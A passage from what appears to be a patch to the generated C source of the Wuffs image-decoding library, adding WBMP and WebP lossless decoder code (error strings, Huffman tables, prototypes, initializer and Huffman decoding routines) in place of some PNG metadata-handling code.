wuffs_base__io_buffer* a_src) { + if (!self) { +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- if (a_fourcc == 1128813133u) { +- self->private_impl.f_report_metadata_chrm = a_report; +- } else if (a_fourcc == 1163413830u) { +- self->private_impl.f_report_metadata_exif = a_report; +- } else if (a_fourcc == 1195461953u) { +- self->private_impl.f_report_metadata_gama = a_report; +- } else if (a_fourcc == 1229144912u) { +- self->private_impl.f_report_metadata_iccp = a_report; +- } else if (a_fourcc == 1263947808u) { +- self->private_impl.f_report_metadata_kvp = a_report; +- } else if (a_fourcc == 1397901122u) { +- self->private_impl.f_report_metadata_srgb = a_report; ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func wbmp.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_wbmp__decoder__workbuf_len( ++ const wuffs_wbmp__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_webp__error__bad_huffman_code_over_subscribed[] = "#webp: bad Huffman code (over-subscribed)"; ++const char wuffs_webp__error__bad_huffman_code_under_subscribed[] = "#webp: bad Huffman code (under-subscribed)"; ++const char wuffs_webp__error__bad_huffman_code[] = "#webp: bad Huffman code"; ++const char wuffs_webp__error__bad_back_reference[] = "#webp: bad back-reference"; ++const char wuffs_webp__error__bad_color_cache[] = "#webp: bad color cache"; ++const char wuffs_webp__error__bad_header[] = "#webp: bad header"; ++const char wuffs_webp__error__bad_transform[] = "#webp: bad transform"; ++const char wuffs_webp__error__short_chunk[] = "#webp: short chunk"; ++const char wuffs_webp__error__truncated_input[] = "#webp: truncated input"; ++const char wuffs_webp__error__unsupported_number_of_huffman_groups[] = "#webp: unsupported number of Huffman groups"; ++const char wuffs_webp__error__unsupported_transform_after_color_indexing_transform[] = "#webp: unsupported transform after color indexing transform"; ++const char wuffs_webp__error__unsupported_webp_file[] = "#webp: unsupported WebP file"; ++const char wuffs_webp__error__internal_error_inconsistent_huffman_code[] = "#webp: internal error: inconsistent Huffman code"; ++const char wuffs_webp__error__internal_error_inconsistent_dst_buffer[] = "#webp: internal error: inconsistent dst buffer"; ++const char wuffs_webp__error__internal_error_inconsistent_n_bits[] = "#webp: internal error: inconsistent n_bits"; ++ ++// ---------------- Private Consts ++ ++static const uint8_t ++WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[19] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 17u, 18u, 0u, 1u, 2u, 3u, 4u, 5u, ++ 16u, 6u, 7u, 8u, 9u, 10u, 11u, 12u, ++ 13u, 14u, 15u, ++}; ++ ++static const uint8_t ++WUFFS_WEBP__REPEAT_N_BITS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 2u, 3u, 7u, 0u, ++}; ++ ++static const uint8_t ++WUFFS_WEBP__REPEAT_COUNTS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 3u, 3u, 11u, 0u, ++}; ++ ++static const uint16_t ++WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[5] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1612u, 0u, 511u, 1022u, 1533u, ++}; ++ ++static const uint8_t ++WUFFS_WEBP__DISTANCE_MAP[120] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 24u, 7u, 23u, 25u, 40u, 6u, 39u, 41u, ++ 22u, 26u, 38u, 42u, 56u, 5u, 55u, 57u, ++ 21u, 27u, 54u, 58u, 37u, 43u, 72u, 4u, ++ 71u, 73u, 20u, 28u, 53u, 59u, 70u, 74u, ++ 36u, 44u, 88u, 69u, 75u, 52u, 60u, 3u, ++ 87u, 89u, 19u, 29u, 86u, 90u, 35u, 45u, ++ 68u, 76u, 85u, 91u, 51u, 61u, 104u, 2u, ++ 103u, 105u, 18u, 30u, 102u, 106u, 34u, 46u, ++ 84u, 92u, 67u, 77u, 101u, 107u, 50u, 62u, ++ 120u, 1u, 119u, 121u, 83u, 93u, 17u, 31u, ++ 100u, 108u, 66u, 78u, 118u, 122u, 33u, 47u, ++ 117u, 123u, 49u, 63u, 99u, 109u, 82u, 94u, ++ 0u, 116u, 124u, 65u, 79u, 16u, 32u, 98u, ++ 110u, 48u, 115u, 125u, 81u, 95u, 64u, 114u, ++ 126u, 97u, 111u, 80u, 113u, 127u, 96u, 112u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_groups( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_n_huffman_groups); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_tree( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_hg, ++ uint32_t a_ht); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_tree_simple( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_hg, ++ uint32_t a_ht); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_code_length_code_lengths( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__build_code_lengths_huffman_nodes( ++ wuffs_webp__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__build_huffman_nodes( ++ wuffs_webp__decoder* self, ++ uint32_t a_hg, ++ uint32_t a_ht); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__build_code_lengths( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_pixels_slow( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_dst, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ uint32_t a_height, ++ wuffs_base__slice_u8 a_tile_data, ++ uint32_t a_tile_size_log2); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_predictor( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix, ++ wuffs_base__slice_u8 a_tile_data); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_webp__decoder__absolute_difference( ++ const wuffs_webp__decoder* self, ++ uint32_t a_a, ++ uint32_t a_b); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_webp__decoder__mode12( ++ const wuffs_webp__decoder* self, ++ uint8_t a_l, ++ uint8_t a_t, ++ uint8_t a_tl); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_webp__decoder__mode13( ++ const wuffs_webp__decoder* self, ++ uint8_t a_l, ++ uint8_t a_t, ++ uint8_t a_tl); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_cross_color( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix, ++ wuffs_base__slice_u8 a_tile_data); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_subtract_green( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_color_indexing( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config( ++ wuffs_webp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config_limited( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config_limited_vp8l( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_frame_config( ++ wuffs_webp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_frame( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_transform( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_color_cache_parameters( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_hg_table( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__decode_pixels( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_dst, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ uint32_t a_height, ++ wuffs_base__slice_u8 a_tile_data, ++ uint32_t a_tile_size_log2); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__swizzle( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_src, ++ wuffs_base__pixel_blend a_blend); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_webp__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_webp__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_webp__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_webp__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_webp__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_webp__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_webp__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_webp__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_webp__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_webp__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_webp__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_webp__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_webp__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_webp__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_webp__decoder__initialize( ++ wuffs_webp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_webp__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_webp__decoder* ++wuffs_webp__decoder__alloc(void) { ++ wuffs_webp__decoder* x = ++ (wuffs_webp__decoder*)(calloc(1, sizeof(wuffs_webp__decoder))); ++ if (!x) { ++ return NULL; + } +- return wuffs_base__make_empty_struct(); ++ if (wuffs_webp__decoder__initialize( ++ x, sizeof(wuffs_webp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; + } + +-// -------- func png.decoder.tell_me_more ++size_t ++sizeof__wuffs_webp__decoder(void) { ++ return sizeof(wuffs_webp__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func webp.decoder.decode_huffman_groups + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__tell_me_more( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_groups( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_n_huffman_groups) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_hg = 0; ++ uint32_t v_ht = 0; + +- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_groups; ++ if (coro_susp_point) { ++ v_hg = self->private_data.s_decode_huffman_groups.v_hg; ++ v_ht = self->private_data.s_decode_huffman_groups.v_ht; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_png__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); +- goto exit; ++ v_hg = 0u; ++ while (v_hg < a_n_huffman_groups) { ++ v_ht = 0u; ++ while (v_ht < 5u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_webp__decoder__decode_huffman_tree(self, a_src, v_hg, v_ht); ++ if (status.repr) { ++ goto suspend; ++ } ++ v_ht += 1u; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ v_hg += 1u; + } + ++ goto ok; + ok: +- self->private_impl.p_tell_me_more[0] = 0; ++ self->private_impl.p_decode_huffman_groups = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; ++ self->private_impl.p_decode_huffman_groups = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_huffman_groups.v_hg = v_hg; ++ self->private_data.s_decode_huffman_groups.v_ht = v_ht; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } + return status; + } + +-// -------- func png.decoder.do_tell_me_more ++// -------- func webp.decoder.decode_huffman_tree + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__do_tell_me_more( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { ++wuffs_webp__decoder__decode_huffman_tree( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_hg, ++ uint32_t a_ht) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint16_t v_c2 = 0; +- wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_w = &u_w; +- uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint64_t v_num_written = 0; +- uint64_t v_w_mark = 0; +- uint64_t v_r_mark = 0; +- wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); ++ uint8_t v_c8 = 0; ++ uint32_t v_use_simple = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -58130,462 +71941,105 @@ wuffs_png__decoder__do_tell_me_more( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more[0]; +- if (coro_susp_point) { +- v_zlib_status = self->private_data.s_do_tell_me_more[0].v_zlib_status; +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_tree; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_call_sequence & 16u) == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } +- if (self->private_impl.f_metadata_fourcc == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; ++ if (a_ht >= 4u) { ++ self->private_impl.f_ht_n_symbols = 40u; ++ } else if (a_ht > 0u) { ++ self->private_impl.f_ht_n_symbols = 256u; ++ } else if (self->private_impl.f_color_cache_bits == 0u) { ++ self->private_impl.f_ht_n_symbols = 280u; ++ } else { ++ self->private_impl.f_ht_n_symbols = (280u + (((uint32_t)(1u)) << self->private_impl.f_color_cache_bits)); + } +- do { +- if (self->private_impl.f_metadata_flavor == 3u) { +- while (true) { +- if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_y) { +- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); +- goto exit; +- } else if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- self->private_impl.f_metadata_flavor, +- self->private_impl.f_metadata_fourcc, +- self->private_impl.f_metadata_x, +- self->private_impl.f_metadata_y, +- self->private_impl.f_metadata_z); +- } +- if (self->private_impl.f_metadata_y >= self->private_impl.f_metadata_z) { +- goto label__goto_done__break; +- } +- self->private_impl.f_metadata_y = self->private_impl.f_metadata_z; +- status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- if (self->private_impl.f_metadata_is_zlib_compressed) { +- if (self->private_impl.f_zlib_is_dirty) { +- wuffs_base__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, +- sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- if (self->private_impl.f_ignore_checksum) { +- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); +- } +- } +- self->private_impl.f_zlib_is_dirty = true; +- self->private_impl.f_ztxt_hist_pos = 0u; ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_use_simple = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (v_use_simple != 0u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- label__loop__continue:; +- while (true) { +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- self->private_impl.f_metadata_flavor, +- self->private_impl.f_metadata_fourcc, +- self->private_impl.f_metadata_x, +- self->private_impl.f_metadata_y, +- self->private_impl.f_metadata_z); +- } +- if (self->private_impl.f_metadata_flavor != 4u) { +- break; +- } +- if (self->private_impl.f_metadata_is_zlib_compressed) { +- if (self->private_impl.f_chunk_type == 1346585449u) { +- { +- const bool o_0_closed_a_src = a_src->meta.closed; +- const uint8_t *o_0_io2_a_src = io2_a_src; +- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, +- ((uint64_t)(self->private_impl.f_chunk_length))); +- if (a_src) { +- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); +- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); +- a_src->meta.wi = n; +- } +- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); +- v_zlib_status = t_0; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); +- io2_a_src = o_0_io2_a_src; +- if (a_src) { +- a_src->meta.closed = o_0_closed_a_src; +- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); +- } +- } +- if (wuffs_base__status__is_ok(&v_zlib_status)) { +- self->private_impl.f_metadata_is_zlib_compressed = false; +- break; +- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { +- status = v_zlib_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- status = v_zlib_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } else if (self->private_impl.f_chunk_type == 1951945833u) { +- { +- const bool o_1_closed_a_src = a_src->meta.closed; +- const uint8_t *o_1_io2_a_src = io2_a_src; +- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, +- ((uint64_t)(self->private_impl.f_chunk_length))); +- if (a_src) { +- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); +- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); +- a_src->meta.wi = n; +- } +- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_1 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); +- v_zlib_status = t_1; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); +- io2_a_src = o_1_io2_a_src; +- if (a_src) { +- a_src->meta.closed = o_1_closed_a_src; +- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); +- } +- } +- if (wuffs_base__status__is_ok(&v_zlib_status)) { +- self->private_impl.f_metadata_is_zlib_compressed = false; +- break; +- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { +- status = v_zlib_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- status = v_zlib_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- } else if 